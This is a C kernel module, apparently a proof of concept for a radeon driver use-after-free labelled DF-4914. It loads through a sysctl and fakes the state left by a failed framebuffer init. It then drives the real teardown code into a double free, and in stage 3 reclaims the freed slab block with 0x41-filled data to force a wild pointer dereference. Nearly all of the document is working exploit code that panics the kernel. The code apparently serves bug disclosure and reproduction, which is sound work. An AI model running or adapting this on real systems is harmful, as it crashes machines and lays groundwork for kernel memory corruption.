/* * DF-4914 PoC — radeon_fbdev_init() failure leaves rdev->mode_info.rfbdev * dangling; the standard teardown radeon_fbdev_fini() (radeon_modeset_fini, * driver unload / reboot / device unplug) then operates on freed memory and * double-kfrees it (radeon_fb.c:409-416). * * All teardown code driven below (radeon_fbdev_fini -> radeon_fbdev_destroy -> * drm_fb_helper_unregister_fbi / radeonfb_destroy_pinned_object / * drm_fb_helper_fini) is the REAL production code from the loaded radeon.ko * module (stock /boot/kernel/radeon.ko, no radeon GPU present or required). * * Trigger reality note: on real hardware radeon_fbdev_init() fails through * drm_fb_helper_init/-ENOMEM or through drm_fb_helper_initial_config -> * radeonfb_create() (e.g. VRAM exhaustion on small cards during fbcon setup) * and radeon_modeset_init() IGNORES the failure (radeon_display.c:1640), so * the driver carries the dangling pointer until teardown. On the no-GPU QEMU * guest a graceful live failure cannot be produced (the allocators only fail * catastrophically: an oversized kcalloc wedges in M_WAITOK paging), so stage * 1 injects EXACTLY the state a failed radeon_fbdev_init leaves behind — the * three statements of radeon_fb.c:374-379 (kzalloc rfbdev, store to * rdev->mode_info.rfbdev, drm_fb_helper_prepare) followed by the free: label * (radeon_fb.c:405, kfree without clearing mode_info.rfbdev). * * Stages (write to sysctl hw.rfbuaf): * 1: inject failed-init state; print the dangling rdev->mode_info.rfbdev * (non-NULL although the rfbdev was just kfree()d). No crash. * 2: stage 1 + radeon_fbdev_fini() -> UAF walk of the freed rfbdev and a * double kfree of it; expect kernel panic. * 3: stage 1 + reclaim the freed slab block with a 0x41-filled allocation * + radeon_fbdev_fini() -> radeon_fbdev_destroy follows * fb->obj[0] = 0x4141414141414141 into radeonfb_destroy_pinned_object * -> UAF wild pointer chase; expect kernel panic. */ #include #include #include #include #include #include #include #include #include #include #include "radeon.h" /* radeon_fbdev_init/fini are declared in the radeon headers */ /* mirror of struct radeon_fbdev (radeon_fb.c:44-48) — helper is first */ struct poc_radeon_fbdev { struct drm_fb_helper helper; struct drm_framebuffer fb; struct radeon_device *rdev; }; static struct radeon_device *fake_rdev; static struct drm_device *fake_ddev; static int poc_fb_probe(struct drm_fb_helper *helper, struct drm_fb_helper_surface_size *sizes) { return -ENOMEM; } static const struct drm_fb_helper_funcs poc_fb_helper_funcs = { .fb_probe = poc_fb_probe, }; static void setup_fakes(void) { if (fake_rdev) return; fake_ddev = kzalloc(sizeof(*fake_ddev), GFP_KERNEL); fake_rdev = kzalloc(sizeof(*fake_rdev), GFP_KERNEL); fake_rdev->ddev = fake_ddev; /* rdev->mode_info.rfbdev == NULL, rdev->family == 0, mc zeroed */ } /* * Reproduce the exact post-failure state of radeon_fbdev_init() * (radeon_fb.c:357-406 error path): * 374: rfbdev = kzalloc(sizeof(struct radeon_fbdev), GFP_KERNEL); * 378: rfbdev->rdev = rdev; * 379: rdev->mode_info.rfbdev = rfbdev; <-- stored BEFORE any failure * 381: drm_fb_helper_prepare(rdev->ddev, &rfbdev->helper, funcs); * 405: kfree(rfbdev); <-- free: label, NO NULL-clear */ static int stage1(void) { struct poc_radeon_fbdev *rfb; setup_fakes(); fake_rdev->mode_info.rfbdev = NULL; /* fresh run */ rfb = kzalloc(sizeof(*rfb), GFP_KERNEL); /* :374 */ rfb->rdev = fake_rdev; /* :378 */ fake_rdev->mode_info.rfbdev = (struct radeon_fbdev *)rfb; /* :379 */ drm_fb_helper_prepare(fake_rdev->ddev, &rfb->helper, &poc_fb_helper_funcs); /* :381 */ kfree(rfb); /* :405 free: label — mode_info.rfbdev DANGLING */ kprintf("DF-4914: injected failed-init state (radeon_fb.c:374-405):\n" " rdev->mode_info.rfbdev = %p — kfree()d block still recorded " "(dangling)\n", fake_rdev->mode_info.rfbdev); return (fake_rdev->mode_info.rfbdev != NULL) ? 0 : -1; } static int sysctl_run(SYSCTL_HANDLER_ARGS) { int stage = 0, error; error = sysctl_handle_int(oidp, &stage, 0, req); if (error || req->newptr == NULL) return (error); switch (stage) { case 1: stage1(); break; case 2: if (stage1() != 0) { kprintf("DF-4914: stage1 precondition failed\n"); break; } kprintf("DF-4914: calling production radeon_fbdev_fini() " "(radeon_modeset_fini teardown) on the dangling pointer" "...\n"); radeon_fbdev_fini(fake_rdev); /* UAF walk + double kfree */ kprintf("DF-4914: fini returned (no panic?)\n"); break; case 3: { void *p = NULL; int i; if (stage1() != 0) { kprintf("DF-4914: stage1 precondition failed\n"); break; } for (i = 0; i < 64; i++) { p = kzalloc(sizeof(struct poc_radeon_fbdev), GFP_KERNEL); if (p == (void *)fake_rdev->mode_info.rfbdev) break; } kprintf("DF-4914: reclaim attempt: %p (dangling %p, %s)\n", p, fake_rdev->mode_info.rfbdev, p == (void *)fake_rdev->mode_info.rfbdev ? "RECLAIMED" : "miss"); if (p != (void *)fake_rdev->mode_info.rfbdev) break; memset(p, 0x41, sizeof(struct poc_radeon_fbdev)); ((struct poc_radeon_fbdev *)p)->helper.fbdev = NULL; kprintf("DF-4914: reclaimed block 0x41-filled " "(fb.obj[0]=0x4141414141414141); production fini -> " "radeonfb_destroy_pinned_object wild chase\n"); radeon_fbdev_fini(fake_rdev); /* UAF wild pointer chase */ kprintf("DF-4914: fini returned (no panic?)\n"); break; } default: kprintf("DF-4914: unknown stage %d (1=dangling, 2=double-free," " 3=reclaim+UAF)\n", stage); break; } return (0); } static int rfbuaf_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: SYSCTL_ADD_OID(NULL, SYSCTL_STATIC_CHILDREN(_hw), OID_AUTO, "rfbuaf", CTLTYPE_INT|CTLFLAG_RW, NULL, 0, sysctl_run, "I", "DF-4914 stage trigger (1/2/3)"); kprintf("DF-4914 PoC loaded; sysctl hw.rfbuaf=1|2|3\n"); return 0; case MOD_UNLOAD: return 0; } return 0; } static moduledata_t rfbuaf_mod = { "rfbuaf", rfbuaf_modevent, NULL }; DECLARE_MODULE(rfbuaf, rfbuaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(rfbuaf, 1);